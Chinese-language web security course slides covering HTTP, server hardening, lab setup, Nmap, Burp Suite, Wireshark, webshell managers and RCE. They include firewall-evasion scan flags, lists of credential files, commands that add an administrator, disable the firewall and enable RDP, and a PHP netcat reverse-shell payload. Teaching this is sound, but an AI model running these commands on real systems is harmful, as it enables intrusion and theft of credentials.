




版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡介
項(xiàng)目1:Web應(yīng)用安全基礎(chǔ)項(xiàng)目目標(biāo)知識(shí)目標(biāo)1.了解web安全起源2.理解web體系結(jié)構(gòu)3.掌握Web應(yīng)用安全分析能力目標(biāo)1.能對(duì)瀏覽器安全設(shè)置2.能對(duì)服務(wù)器安全配置情感目標(biāo)1.自主、開放的學(xué)習(xí)能力2.良好的自我表現(xiàn)、與人溝通能力3.良好的團(tuán)隊(duì)合作精神目錄03Web應(yīng)用安全01Web安全起源02Web系統(tǒng)架構(gòu)&owasptop10目錄1.Web安全起源文件傳輸郵件服務(wù)打印機(jī)服務(wù)Windows系統(tǒng)RPC服務(wù)Linux系統(tǒng)ssh服務(wù)1.Web技術(shù)發(fā)展不成熟2.攻擊系統(tǒng)服務(wù)可以獲取高權(quán)限網(wǎng)絡(luò)安全初期1.Web安全起源靜態(tài)頁面CGI調(diào)用其他程序Web編程腳本語言框架橫飛前段發(fā)展異步請(qǐng)求前端框架1.Web安全起源數(shù)據(jù)關(guān)乎于企業(yè)的信譽(yù)和個(gè)人安全獲取重要的敏感數(shù)據(jù)攻擊用戶的瀏覽器面向安全意識(shí)薄弱的用戶Web安全的兩個(gè)里程碑目錄03Web應(yīng)用安全01Web安全起源02Web系統(tǒng)架構(gòu)&owasptop10目錄2.1Web系統(tǒng)架構(gòu)
B/S(即Broswer/Server)解決了C/S(Client/Server)所帶來的不便,在C/S結(jié)構(gòu)的情況下,不同的服務(wù)需要安裝不同的客戶端軟件,比如QQ、迅雷、Foxmail這種情況下安裝的軟件會(huì)越來越多.B/S架構(gòu)將所有的服務(wù)都可以通過瀏覽器來完成(因?yàn)榛舅袨g覽器都安裝了瀏覽器)。但B/S也有一些不利,比如操作穩(wěn)定性、流暢度等方面相對(duì)較弱。2.1Web系統(tǒng)架構(gòu)瀏覽器三大瀏覽器:Firefox、IE,chrome服務(wù)器Apache,iis,nginx數(shù)據(jù)庫Mysql,SqlServer,Oracle等RequestResponseSQLResulthttp協(xié)議Sql命令支撐服務(wù)軟件應(yīng)用軟件:tomcat,jboss等2.2OWASPTOP10Owasp:開源web應(yīng)用安全項(xiàng)目,是一個(gè)國際權(quán)威的安全社區(qū)。官方網(wǎng)址:10項(xiàng)最嚴(yán)重的web應(yīng)用程序安全風(fēng)險(xiǎn),這些數(shù)據(jù)包含了數(shù)以百計(jì)的組織和超過10萬個(gè)應(yīng)用程序和api中收集的漏洞,結(jié)合了可用性,可檢測(cè)性和影響程度評(píng)估而成。目錄03Web應(yīng)用安全01Web安全起源02Web系統(tǒng)架構(gòu)&owasptop10目錄4.Web應(yīng)用安全Web應(yīng)用安全體現(xiàn):(1)Web協(xié)議安全(Http)(2)WEB服務(wù)器端安全問題(支撐軟件、應(yīng)用程序)(3)Web客戶端(瀏覽器)4.Web應(yīng)用安全—http協(xié)議1.HTTP協(xié)議概述(1)http(超文本傳輸協(xié)議),1990年提出來了,當(dāng)前的版本是http1.1(2)http是一個(gè)請(qǐng)求和回應(yīng)協(xié)議:客戶端提出請(qǐng)求,服務(wù)器對(duì)請(qǐng)求給出回應(yīng)。(3)http使用的是使用TCP協(xié)議進(jìn)行連接,端口號(hào)是80(4)http請(qǐng)求方法(get,post,head,put,delete,option,trace)Get,明文傳輸,傳輸?shù)臄?shù)據(jù)顯示在地址欄,最大傳輸為2kb,Post,密文傳輸,傳輸?shù)臄?shù)據(jù)沒有限制。4.Web應(yīng)用安全—http協(xié)議2.http協(xié)議安全問題(1)信息泄漏(傳輸數(shù)據(jù)明文)(2)弱驗(yàn)證(會(huì)話雙方?jīng)]有嚴(yán)格認(rèn)證機(jī)制)http1.1提供摘要訪問認(rèn)證機(jī)制,采用MD5將用戶名、密碼、請(qǐng)求包頭等進(jìn)行封裝,但仍然不提供對(duì)實(shí)體信息的保護(hù),無法有效解決信息泄露、數(shù)據(jù)篡改、重放攻擊等安全問題(3)缺乏狀態(tài)跟蹤(請(qǐng)求響應(yīng)機(jī)制決定http是一個(gè)無狀態(tài)協(xié)議)Cookie+Session解決方案帶來的安全問題4.Web應(yīng)用安全—http協(xié)議3.HTTP工作機(jī)制-請(qǐng)求響應(yīng)模式3.1HTTP請(qǐng)求包含三個(gè)部分1.開始行:方法/URL協(xié)議/版本2.首部行:請(qǐng)求頭部3.實(shí)體主體:請(qǐng)求正文(一般不用)3.2HTTP響應(yīng)包含三個(gè)部分1.協(xié)議狀態(tài)代碼描述2.響應(yīng)包頭3.實(shí)體包請(qǐng)求正文…..4.Web應(yīng)用安全—http協(xié)議4.http請(qǐng)求數(shù)據(jù)結(jié)構(gòu)(1)user_agent(簡稱UA)(2)X-Forwarded-For(主要是為了讓web服務(wù)器獲取訪問用戶的真實(shí)IP地址,未必真實(shí),可以偽造)(3)Referer(表示從哪兒鏈接到服務(wù)器的網(wǎng)頁)(4)Content-Type(定義網(wǎng)絡(luò)文件的類型和網(wǎng)頁的編碼,用來程序間傳送內(nèi)容相關(guān)的編碼信息)(5)Accept(代表發(fā)送端希望接收的數(shù)據(jù)類型)(6)Accept-Charset(編碼)(7)Accept-Encoding(瀏覽器支持的壓縮編碼)(8)host(表示請(qǐng)求的服務(wù)器網(wǎng)址)(9)keep-Alive表示持久鏈接4.Web應(yīng)用安全—http協(xié)議5.http狀態(tài)碼分類當(dāng)瀏覽器訪問一個(gè)網(wǎng)頁時(shí),瀏覽器會(huì)向服務(wù)器發(fā)送請(qǐng)求,在瀏覽器接收并顯示網(wǎng)頁前,此頁面所在的服務(wù)器會(huì)返回一個(gè)包含http狀態(tài)碼的信息頭,用以響應(yīng)瀏覽器的請(qǐng)求。HTTP狀態(tài)碼分類分類分類描述1**信息,服務(wù)器收到請(qǐng)求,需要請(qǐng)求者繼續(xù)執(zhí)行操作2**成功,操作被成功接收并處理3**重定向,需要進(jìn)一步的操作以完成請(qǐng)求4**客戶端錯(cuò)誤,請(qǐng)求包含語法錯(cuò)誤或無法完成請(qǐng)求5**服務(wù)器錯(cuò)誤,服務(wù)器在處理請(qǐng)求的過程中發(fā)生了錯(cuò)誤4.Web應(yīng)用安全—服務(wù)器安全服務(wù)支撐軟件安全問題軟件自身安全漏洞例:IIS5.0超長URL拒絕服務(wù)漏洞軟件配置缺陷默認(rèn)賬號(hào)、口令不安全的配置例:IIS配置允許遠(yuǎn)程寫入應(yīng)用軟件安全問題4.Web應(yīng)用安全—Apache安全配置ApacheHTTPServer(Apache),阿帕奇安全配置只安裝所需要的組件隱藏Apahce版本不用root運(yùn)行Apache禁用目錄瀏覽設(shè)置每個(gè)連接的最大請(qǐng)求數(shù)建立專門錯(cuò)誤頁面勤打補(bǔ)丁194.Web應(yīng)用安全—IIS安全設(shè)置20配置身份驗(yàn)證配置地址和域名訪問規(guī)則配置SSL安全配置URL授權(quán)規(guī)則主目錄及目錄安全性(目錄權(quán)限)日志安全文檔和錯(cuò)誤消息4.Web應(yīng)用安全—IE安全配置清除瀏覽器數(shù)據(jù)21小結(jié)1.
web安全起源2.web體系結(jié)構(gòu)3.Web應(yīng)用安全分析作業(yè)1.安裝IIS服務(wù)器,并做安全配置2.設(shè)置安全瀏覽器項(xiàng)目2:Web安全實(shí)踐環(huán)境部署項(xiàng)目目標(biāo)知識(shí)目標(biāo):1.了解web常見名詞及術(shù)語的含義2.掌握kaillinux安裝與msf框架的更新3.掌握web漏洞環(huán)境部署(linux、win)能力目標(biāo):1.能部署linux及window
web漏洞環(huán)境情感目標(biāo):1.自主、開放的學(xué)習(xí)能力2.良好的自我表現(xiàn)、與人溝通能力3.良好的團(tuán)隊(duì)合作精神目錄03搭建winweb漏洞環(huán)境01web專業(yè)術(shù)語02搭建linuxweb漏洞環(huán)境目錄1.專業(yè)術(shù)語常見專業(yè)名詞CVEEXPpayloadPOCshellcodewebshellRCESQLXSSCSRF0day1dayndaywaf蜜罐提權(quán)CNNVDNVD1.專業(yè)術(shù)語1.CVE(CommonVulnerabilities&Exposures)全球漏洞編號(hào)2.exp(exploit)能夠?qū)β┒垂舻拇a。(漏洞利用)3.poc:證明漏洞存在的代碼4.payload:攻擊荷載,它是最終發(fā)送到服務(wù)器執(zhí)行的代碼5.Shellcode:用于利用軟件漏洞執(zhí)行代碼,屬于payload,是攻擊代碼最核心的就是shellcode6.webshell:web后門7.RCE:遠(yuǎn)程代碼執(zhí)行漏洞
1.專業(yè)術(shù)語8.0day:零日漏洞。即剛被發(fā)現(xiàn)后立即被惡意利用的安全漏洞,一般來說,那些已經(jīng)被小部分人發(fā)現(xiàn),但是還未公開、還不存在安全補(bǔ)丁的漏洞。9.1day:已經(jīng)公開的新鮮漏洞(大部分機(jī)器未打補(bǔ)?。?0.Nday:公開很久的漏洞11.提權(quán):提升到管理員權(quán)限12.NVD:國家漏洞數(shù)據(jù)庫13.CNNVD:中國國家漏洞數(shù)據(jù)庫1.專業(yè)術(shù)語14.WAF(WebApplicationFirewall)Web應(yīng)用防火墻15.蜜罐:在主機(jī)上布置一些漏洞,誘惑攻擊者進(jìn)入,從而可以對(duì)攻擊行為進(jìn)行捕獲和分析,了解攻擊方所使用的工具與方法,推測(cè)攻擊意圖和動(dòng)機(jī),能夠讓防御方清晰地了解他們所面對(duì)的安全威脅。16.SQL:SQL注入漏洞17.XSS:跨站腳本攻擊漏洞18.CSRF:跨站請(qǐng)求偽造漏洞目錄03搭建winweb漏洞環(huán)境01web專業(yè)術(shù)語02搭建linuxweb漏洞環(huán)境目錄2.Web漏洞環(huán)境搭建—Linux搭建web2.centos7Linux+Apache+MySQL+PHP(LAMP)Step1:配置yum源Step2:安裝apacheStpe3:安裝mysqlStep4:安裝phpStep5:測(cè)試3.Web漏洞環(huán)境搭建—Linux搭建webMetasploitable2
虛擬系統(tǒng)是一個(gè)特別制作的ubuntu操作系統(tǒng),本身設(shè)計(jì)作為安全工具測(cè)試和演示常見漏洞攻擊。metasploitable2下載地址/projects/metasploitable/files/Metasploitable2/目錄03搭建winweb漏洞環(huán)境01web專業(yè)術(shù)語02搭建linuxweb漏洞環(huán)境目錄3.Web漏洞環(huán)境搭建—win搭建web3win搭建web環(huán)境Step1:下載phpstudy
/Step2:安裝phpstudyStep3:部署dvwa漏洞環(huán)境step4:修改dvwa配置文件Step5:測(cè)試
web攻擊環(huán)境kailLinux系統(tǒng)安裝/downloads/2.更新msf3.幾個(gè)網(wǎng)站///小結(jié)1.web常見名詞及術(shù)語的含義2.kaillinux安裝、msf框架的更新3.web漏洞環(huán)境部署作業(yè)1.部署windowweb漏洞環(huán)境2.部署linuxweb漏洞環(huán)境3.更新msf項(xiàng)目3:常用Web應(yīng)用安全工具項(xiàng)目目標(biāo)【知識(shí)目標(biāo)】(1)了解一句話木馬工作原理。(2)掌握Nmap端口掃描技術(shù)。(3)掌握BurpSuite的抓包、改包和暴力破解等核心功能。(4)掌握Wireshark的數(shù)據(jù)包捕獲、過濾和深度分析方法?!炯寄苣繕?biāo)】(1)能夠運(yùn)用Nmap進(jìn)行有效的端口掃描,識(shí)別目標(biāo)系統(tǒng)的開放端口和服務(wù)。(2)能夠使用BurpSuite進(jìn)行網(wǎng)絡(luò)數(shù)據(jù)的抓取、修改、重放及進(jìn)行基本的暴力破解攻擊。(3)能夠利用Wireshark進(jìn)行網(wǎng)絡(luò)流量分析,識(shí)別異常數(shù)據(jù)包和潛在的安全威脅。(4)能夠使用Webshell管理工具進(jìn)行服務(wù)器管理,包括文件操作、命令執(zhí)行等?!舅刭|(zhì)目標(biāo)】(1)培養(yǎng)網(wǎng)絡(luò)安全意識(shí)。(2)培養(yǎng)創(chuàng)新思維能力。(3)激發(fā)自主學(xué)習(xí)熱情。1.信息收集概述1.1信息收集定義收集目標(biāo)的情報(bào)信息是一個(gè)非常重要的環(huán)節(jié),可以大大提高滲透測(cè)試的成功性。收集滲透目標(biāo)情報(bào)一般是對(duì)目標(biāo)系統(tǒng)的分析,掃描探測(cè),服務(wù)查點(diǎn),查找對(duì)方系統(tǒng)IP等,社會(huì)工程學(xué)在滲透測(cè)試中也有經(jīng)常使用。滲透測(cè)試會(huì)盡力收集目標(biāo)系統(tǒng)的配置,whois,主機(jī)IP段,公司人員,安全防御以及防火墻等信息。1.信息收集2.漏洞挖掘3.漏洞利用4.權(quán)限提升5.內(nèi)網(wǎng)滲透6.痕跡清除滲透測(cè)試流程1.信息收集概述著名的照片泄密案背景大慶油田在發(fā)現(xiàn)之初,其位置、儲(chǔ)量、產(chǎn)量等信息全部定為國家機(jī)密1964年《中國畫報(bào)》封面泄露信息衣著判斷->北緯46度至48度的區(qū)域(即齊齊哈爾與哈爾濱之間)所握手柄的架式->油井的直徑鉆井與背后油田的距離和井架密度->儲(chǔ)量和產(chǎn)量1.信息收集概述微博時(shí)代的范例:影星的住址背景:明星家庭住址是明星隱私,她們都不愿意透露,微博時(shí)代,明星也愛玩微博微博信息13:50:四環(huán)堵死了,我聯(lián)排要遲到了?在北京工作這么久,都沒在北京中心地帶買一套房子光顧著看圍脖,忘記給老爸指路,都開到中關(guān)村了結(jié)論:北四環(huán)外某個(gè)成熟小區(qū),小區(qū)中間有三個(gè)相連的方形花壇Googleearth能幫助我們快速找到這個(gè)小區(qū)431.信息收集概述時(shí)間:2013年6月人物:愛德華.斯諾登將棱鏡門項(xiàng)目的秘密文檔披露給了英國《衛(wèi)報(bào)》和美國《華盛頓郵報(bào)》大數(shù)據(jù)的價(jià)值:
(1)信息收集是情報(bào)分析的基礎(chǔ)(2)依托數(shù)據(jù)分析獲取重要信息1.信息收集概述1.2信息收集目的(1)黑客在攻擊之前需要收集信息,才能實(shí)時(shí)有效的攻擊。(2)安全管理員用信息收集技術(shù)來發(fā)現(xiàn)系統(tǒng)的弱點(diǎn),并進(jìn)行修補(bǔ)1.信息收集概述1.3信息收集分類(1)被動(dòng)信息收集
:網(wǎng)站與服務(wù)信息:whois、DNS
搜索引擎:baidu,google
社會(huì)工程學(xué)……(2)主動(dòng)信息收集1.信息收集概述1.3信息收集分類(2)主動(dòng)信息收集
:主機(jī)掃描端口掃描
服務(wù)掃描
操作系統(tǒng)掃描……2.信息收集之DNS信息收集2.1DNS信息收集方式(1)命令行查詢:nslookup,dig(2)在線查詢:/dns//
(3)工具查詢:dnsenum2.信息收集之DNS信息收集2.2DNS信息收集演示:nslookup-type=nsnslookup–type=ptr
或者輸入nslookup命令進(jìn)入shell交互settype=ns/ptr輸入域名或者ip3.信息收集之社會(huì)工程學(xué)凱文·米特尼克世界著名黑客3次入獄記者采訪:你最擅長的技術(shù)是什么?回答:社會(huì)工程學(xué),技術(shù)會(huì)過時(shí),只有社會(huì)工程學(xué)永遠(yuǎn)不會(huì)50凱文米特尼克所著《欺騙的藝術(shù)》3.信息收集之社會(huì)工程學(xué)人是永遠(yuǎn)的系統(tǒng)弱點(diǎn)!51什么是社會(huì)工程學(xué)攻擊利用人性弱點(diǎn)(本能反應(yīng)、貪婪、易于信任等)進(jìn)行欺騙獲取利益的攻擊方法社會(huì)工程學(xué)的危險(xiǎn)永遠(yuǎn)有效的攻擊方法人是最不可控的因素3.信息收集之社會(huì)工程學(xué)3.1公開信息:通過社交網(wǎng)站進(jìn)行公開信息收集,比如QQ,QQ空間,微信朋友圈,微博等,能獲取到的信息有姓名、年齡、生日、星座、愛好、照片、人際交往關(guān)系,甚至郵箱、手機(jī)、住址、身份證等等隱私、敏感信息。還有一些招聘求職網(wǎng)站也往往是信息泄露最嚴(yán)重的地方。3.2社工庫:是運(yùn)用社會(huì)工程學(xué)進(jìn)行攻擊的時(shí)候積累的各方面的數(shù)據(jù)結(jié)構(gòu)化數(shù)據(jù)庫。這個(gè)數(shù)據(jù)庫里有大量信息,甚至可以找到每個(gè)人的各種行為記錄,比如酒店開房記錄,個(gè)人身份證、姓名和電話號(hào)碼。4.信息收集之端口掃描4.1端口掃描簡介端口掃描工具:nmap,被稱為掃描器之王。通過端口掃描確定主機(jī)開放的端口,不同的端口對(duì)應(yīng)運(yùn)行著不同的服務(wù)?;竟δ苋缦拢海?)探測(cè)一組主機(jī)是否在線(2)掃描主機(jī)端口,嗅探所提供的網(wǎng)絡(luò)服務(wù)(3)推斷主機(jī)所用的操作系統(tǒng)4.信息收集之端口掃描4.2Nmap掃描方式(1)全掃描(2)半掃描(3)隱蔽掃描(4)漏洞掃描……4.信息收集之端口掃描4.3nmap常用參數(shù)(1)-sT:tcp連接掃描
例:nmap–sT(2)-sS:tcpsyn掃描例:nmap-sS(3)-sU:udp掃描例:nmap-sU–p1-65535(4)-p:掃描指定端口(5)-F:快速掃描主機(jī)格式:192.168.1.*192.168.1-255.1-254/244.信息收集之端口掃描4.3nmap常用參數(shù)(5)-O:顯示操作系統(tǒng)例:nmap–O(6)-sV:顯示Banner信息例:nmap–sV(7)-v:輸出更詳細(xì)的信息例:nmap–svV(8)-oX:導(dǎo)出掃描結(jié)果到xml文件中例:nmap–oXresult.xml4.信息收集之端口掃描4.3nmap
常用參數(shù)(9)-oG:導(dǎo)出掃描結(jié)果到txt文件中
nmap-sV–p22,80-oG1.txt(10)-Pn:不進(jìn)行ping掃描(11)-iL:從一個(gè)文件中掃描主機(jī)列表
namp–-iLip.txt(12)-exclude:掃描地址段排除某段地址
namp/24–exclude004.信息收集之端口掃描規(guī)避防火墻:用一組虛擬的地址掩蓋自己真實(shí)的IP地址,從而規(guī)避被發(fā)現(xiàn)掃描過程,可以達(dá)到一個(gè)規(guī)避防火墻的功能。例如:nmap–v–F–Pn–D05,06,ME–eeth0–g3355-Pn:不進(jìn)行ping掃描-D:使用虛擬IP地址掩蓋真實(shí)IPME:真實(shí)IP-e
eth0從該網(wǎng)卡發(fā)送數(shù)據(jù)包-g3355表是自己使用某個(gè)端口
靶機(jī)地址5.BurpSuite工具
BurpSuite
是用于攻擊web應(yīng)用程序的集成平臺(tái)。常用的功能:抓包、重放、爆破Burpsutie工具安裝使用1.在win環(huán)境下,需要首先安裝java環(huán)境2.下載地址:/burp/communitydownload
3.在kailinux環(huán)境下,輸入burpsuite啟動(dòng)該工具5.BurpSuite工具
Proxy是一個(gè)攔截http/https的代理服務(wù)器,作為一個(gè)在瀏覽器和目標(biāo)應(yīng)用程序之間的中間人,允許你攔截、查看、修改在兩個(gè)方向上的原始數(shù)據(jù)。5.BurpSuite工具
在使用brupsutie抓包之前,需要對(duì)burpsuite進(jìn)行配置和瀏覽器進(jìn)行配置Burpsuite配置瀏覽器配置5.BurpSuite工具
1.Burpsuite代理服務(wù)設(shè)置2.Burpspide探測(cè)web結(jié)構(gòu)3.暴力攻擊web口令6.Wireshark
1.Wireshark簡介Wireshark是一款強(qiáng)大的網(wǎng)絡(luò)分析工具,該工具主要用來用來捕獲網(wǎng)絡(luò)數(shù)據(jù)包,并自動(dòng)解析數(shù)據(jù)包,為用戶顯示數(shù)據(jù)包的詳細(xì)信息,供用戶對(duì)數(shù)據(jù)包進(jìn)行分析。它支持Windows、Linux、MacOSX等多種操作系統(tǒng),KaliLinux操作系統(tǒng)已經(jīng)自行安裝好了該軟件。打開已經(jīng)安裝好的Wireshark,6.Wireshark顯示過濾器:捕獲數(shù)據(jù)后,設(shè)置過濾條件,顯示過濾器通過特定的表達(dá)式來篩選出滿足條件的數(shù)據(jù)包,使得分析工作更加高效和便捷。菜單欄下方的輸入框就是輸入顯示過濾條件的地方6.Wireshark(3)常用顯示過濾器表達(dá)式①IP地址過濾ip.addr==#顯示所有源或目標(biāo)IP為
的數(shù)據(jù)包。ip.src==或ip.dst==#分別過濾源IP或目標(biāo)IP。②端口過濾tcp.port==80#顯示所有TCP端口為80的數(shù)據(jù)包(通常用于HTTP流量)。udp.port==53#顯示所有UDP端口為53的數(shù)據(jù)包(通常用于DNS查詢)。6.Wireshark③協(xié)議過濾http#顯示所有http數(shù)據(jù)包。tcp#顯示所有TCP數(shù)據(jù)包。icmp#顯示所有ICMP數(shù)據(jù)包。ip||arp#顯示IP和ARP數(shù)據(jù)包。tcp||udp||icmp#顯示TCP、UDP和ICMP數(shù)據(jù)包。④多條件組合ip.addr==&&tcp.port==80#同時(shí)過濾IP地址和端口。6.Wireshark⑤使用邏輯運(yùn)算符!(ip.addr==)#排除所有IP地址為的數(shù)據(jù)包。⑥數(shù)據(jù)內(nèi)容過濾data[0:2]==00:00#檢查數(shù)據(jù)包的前兩個(gè)字節(jié)是否為00:00。frame[0:3]=="GET"#檢查數(shù)據(jù)包的開始三個(gè)字節(jié)是否為"GET"(HTTPGET請(qǐng)求)。⑦HTTP請(qǐng)求方法過濾http.request.method=="GET"
#僅顯示HTTPGET請(qǐng)求。http.request.method=="POST"#僅顯示HTTPPOST請(qǐng)求。6.Wireshark⑧域名過濾http.host==""#僅顯示訪問特定域名的主機(jī)流量。⑨URL過濾http.request.uri=="/index.html"#僅顯示請(qǐng)求特定URI的數(shù)據(jù)包。⑩數(shù)據(jù)包長度過濾frame.len==1500#顯示數(shù)據(jù)包大小恰好為1500字節(jié)的數(shù)據(jù)包。frame.len>1000&&frame.len<1500#顯示大小在1000到1500字節(jié)之間的數(shù)據(jù)包。6.Wireshark?特定數(shù)據(jù)包內(nèi)容過濾datacontains"username"#顯示包含"username"字符串的數(shù)據(jù)包。data[0:4]contains"login"#顯示前四個(gè)字節(jié)中包含"login"字符串的數(shù)據(jù)包。?TCP狀態(tài)過濾tcp.flags==0x18#僅顯示TCP數(shù)據(jù)包,其中標(biāo)志為PSH和ACK。tcp.flags&RST==1#僅顯示TCPRST(重置)數(shù)據(jù)包。中國菜刀
Webshell管理工具是一種專門用于管理和控制已經(jīng)成功植入目標(biāo)服務(wù)器的Webshell的客戶端工具,它提供了用戶友好的界面來執(zhí)行系統(tǒng)命令、文件管理、數(shù)據(jù)庫操作等。常見的Webshell管理工具有中國菜刀(Chopper)、中國蟻劍(AntSword)、冰蝎(Behinder)等。本書以典型的Webshell管理工具中國菜刀為例講解。項(xiàng)目4:RCE漏洞利用與防護(hù)項(xiàng)目目標(biāo)知識(shí)目標(biāo):1.了解RCE漏洞的定義、分類2.掌握遠(yuǎn)程系統(tǒng)命令執(zhí)行漏洞利用與加固3.掌握遠(yuǎn)程代碼執(zhí)行漏洞利用與加固能力目標(biāo):1.具有利用RCE漏洞獲取系統(tǒng)權(quán)限的能力情感目標(biāo):1.自主、開放的學(xué)習(xí)能力2.良好的自我表現(xiàn)、與人溝通能力3.良好的團(tuán)隊(duì)合作精神1.RCE漏洞概要1.1RCE漏洞定義RCE(remotecommand/codeexecute),RCE漏洞可以讓攻擊者直接向后臺(tái)服務(wù)器遠(yuǎn)程注入操作系統(tǒng)命令或者代碼,從而控制后臺(tái)系統(tǒng)。1.RCE漏洞危害1.2RCE漏洞的危害RCE漏洞的危害跟web中間件運(yùn)行的權(quán)限有關(guān)。由于web應(yīng)用運(yùn)行在web中間件上,所以web應(yīng)用會(huì)“繼承”web中間件的運(yùn)行權(quán)限。如果存在RCE漏洞的web應(yīng)用運(yùn)行在以系統(tǒng)管理員身份運(yùn)行的web中間件上,那么黑客就相當(dāng)于擁有一個(gè)管理員權(quán)限的shell,如果中間件權(quán)限分配過大,黑客就可以控制web服務(wù)器。黑客可以利用漏洞任意的執(zhí)行權(quán)限允許的命令,比如,查看系統(tǒng)敏感信息,添加管理員,反彈shell,下載并運(yùn)行惡意代碼等。1.RCE漏洞危害1.3敏感信息--Windows敏感信息
C:\boot.ini//查看系統(tǒng)版本
C:\Windows\System32\inetsrv\MetaBase.xml//IIS配置文件
C:\Windows\repair\sam//存儲(chǔ)系統(tǒng)初次安裝的密碼
C:\ProgramFiles\mysql\my.ini//Mysql配置
C:\ProgramFiles\mysql\data\mysql\user.MYD//MysqlrootC:\Windows\php.ini//php配置信息
C:\Windows\my.ini//Mysql配置信息1.RCE漏洞危害1.3敏感信息--Linux敏感信息:/root/.ssh/id_rsa/root/.ssh/id_ras.keystore/root/.ssh/known_hosts//記錄每個(gè)訪問計(jì)算機(jī)用戶的公鑰/etc/passwd、/etc/shadow/etc/f//mysql配置文件/etc/httpd/conf/httpd.conf//apache配置文件/root/.bash_history//用戶歷史命令記錄文件/root/.mysql_history//mysql歷史命令記錄文件1.RCE漏洞概要1.4RCE漏洞分類:
(1)遠(yuǎn)程系統(tǒng)命令執(zhí)行漏洞(2)遠(yuǎn)程代碼執(zhí)行漏洞2.遠(yuǎn)程系統(tǒng)命令執(zhí)行漏洞2.1遠(yuǎn)程系統(tǒng)命令執(zhí)行漏洞
一般出現(xiàn)這種漏洞,是因?yàn)閼?yīng)用系統(tǒng)從設(shè)計(jì)上需要給用戶提供指定的遠(yuǎn)程命令操作的接口,比如我們常見的路由器、防火墻、入侵檢測(cè)等設(shè)備的web管理界面上一般會(huì)給用戶提供一個(gè)ping操作的web界面,用戶從web界面輸入目標(biāo)IP,提交后,后臺(tái)會(huì)對(duì)該IP地址進(jìn)行一次ping測(cè)試,并返回測(cè)試結(jié)果。但是設(shè)計(jì)者在完成該功能時(shí),沒有做嚴(yán)格的安全控制,則可能會(huì)導(dǎo)致攻擊者通過該接口提交“意想不到”的命令,從而讓后臺(tái)進(jìn)行執(zhí)行,從而控制整個(gè)后臺(tái)服務(wù)器。2.遠(yuǎn)程系統(tǒng)命令執(zhí)行漏洞2.2命令執(zhí)行漏洞原理命令執(zhí)行漏洞的本質(zhì)是由于系統(tǒng)把用戶輸入進(jìn)來的參數(shù)當(dāng)成了要執(zhí)行的命令,并且這些命令被執(zhí)行了,這樣就造成了命令注執(zhí)行漏洞。命令執(zhí)行漏洞產(chǎn)生的原因有兩點(diǎn)(1)web網(wǎng)站沒有對(duì)用戶提交的參數(shù)進(jìn)行有效的檢測(cè)過濾(2)操作系統(tǒng)允許一條語句執(zhí)行多條命令(使用連接符和管道符)2.遠(yuǎn)程系統(tǒng)命令執(zhí)行漏洞2.3常見連接符序號(hào)常見命令連接符說明1A;B先執(zhí)行A,再執(zhí)行B2A&B簡單拼接,AB之間無制約關(guān)系3A|B顯示B的執(zhí)行結(jié)果4A&&BA執(zhí)行成功,然后才會(huì)執(zhí)行B5A||BA執(zhí)行失敗,然后才會(huì)執(zhí)行B其他連接符>>>.將結(jié)果重定向文件中(源文件內(nèi)容會(huì)刪除)>>結(jié)果追加到文件末尾,源文件內(nèi)容不會(huì)被刪除。|管道,將命令的結(jié)果輸出給另一個(gè)命令作為輸入用2.遠(yuǎn)程系統(tǒng)命令執(zhí)行漏洞netuser||whoaminetuser&&whoaminetuser:查看當(dāng)前系統(tǒng)有哪些用戶whoami:查看當(dāng)前系統(tǒng)登錄的用戶2.遠(yuǎn)程系統(tǒng)命令執(zhí)行漏洞2.4常見的系統(tǒng)命令--window序號(hào)命令功能1ping測(cè)試網(wǎng)絡(luò)連通性2netstat查看網(wǎng)絡(luò)開放端口及連接狀態(tài)3netuser查看,增加,刪除當(dāng)前系統(tǒng)賬號(hào)4netlocalgroup查看,增加,刪除當(dāng)前系統(tǒng)用戶組5dir查看當(dāng)前目錄下的文件和子目錄信息6systeminfo查看當(dāng)前計(jì)算機(jī)的綜合信息7tasklist查看當(dāng)前運(yùn)行的進(jìn)程信息2.遠(yuǎn)程系統(tǒng)命令執(zhí)行漏洞2.4常見的系統(tǒng)命令--linux序號(hào)命令功能1ifconfig查看ip地址2netstat查看網(wǎng)絡(luò)開放端口及連接狀態(tài)3whoami查看當(dāng)前用戶4cat/etc/passwd查看所有用戶的信息5useradd添加用戶6userdel刪除用戶7passwd修改密碼2.遠(yuǎn)程系統(tǒng)命令執(zhí)行漏洞2.5源代碼分析2.遠(yuǎn)程系統(tǒng)命令執(zhí)行漏洞2.6遠(yuǎn)程系統(tǒng)命令執(zhí)行漏洞利用Window中,添加管理員賬號(hào):netusertest123456/add#添加用戶testnetlocalgroupadministratorstest/add#把用戶test加入管理員組關(guān)閉防火墻:netshadvfirewallsetpublicprofilestateoff開3389端口(win7)REGADDHKLM\SYSTEM\CurrentControlSet\Control\Terminal""Server/vfDenyTSConnections/tREG_DWORD/d0/f3.遠(yuǎn)程代碼執(zhí)行漏洞3.1遠(yuǎn)程代碼執(zhí)行漏洞同樣的道理,因?yàn)樾枨笤O(shè)計(jì),后臺(tái)有時(shí)候也會(huì)把用戶的輸入作為代碼的一部分進(jìn)行執(zhí)行,也就造成了遠(yuǎn)程代碼執(zhí)行漏洞。3.2與命令執(zhí)行漏洞區(qū)別:命令執(zhí)行漏洞是直接調(diào)用操作系統(tǒng)命令代碼執(zhí)行漏洞則是依靠執(zhí)行腳本代碼調(diào)用操作系統(tǒng)命令3.遠(yuǎn)程代碼執(zhí)行漏洞3.3PHP執(zhí)行系統(tǒng)命令的函數(shù)(1)system()用法:system(string$command,[,int&$return_var])(2)exec()用法:exec(string$command[,array&$output[,int&$return_var]])(3)shell_exec()
用法:shell_exec(string&command)3.遠(yuǎn)程代碼執(zhí)行漏洞3.3PHP執(zhí)行系統(tǒng)命令的函數(shù)(4)passthru()用法:passthru(string$command[,int&$return_var])(5)eval用法:eval(string$code)注:eval函數(shù)和前面四個(gè)函數(shù)的區(qū)別是不僅可以執(zhí)行系統(tǒng)命令,還可以將code參數(shù)直接當(dāng)作php代碼執(zhí)行。3.遠(yuǎn)程代碼執(zhí)行漏洞3.4遠(yuǎn)程代碼執(zhí)行漏洞利用1<?phpsystem('uname-a');?>2<?phpsystem(‘nc–e/bin/bash007777’)?>
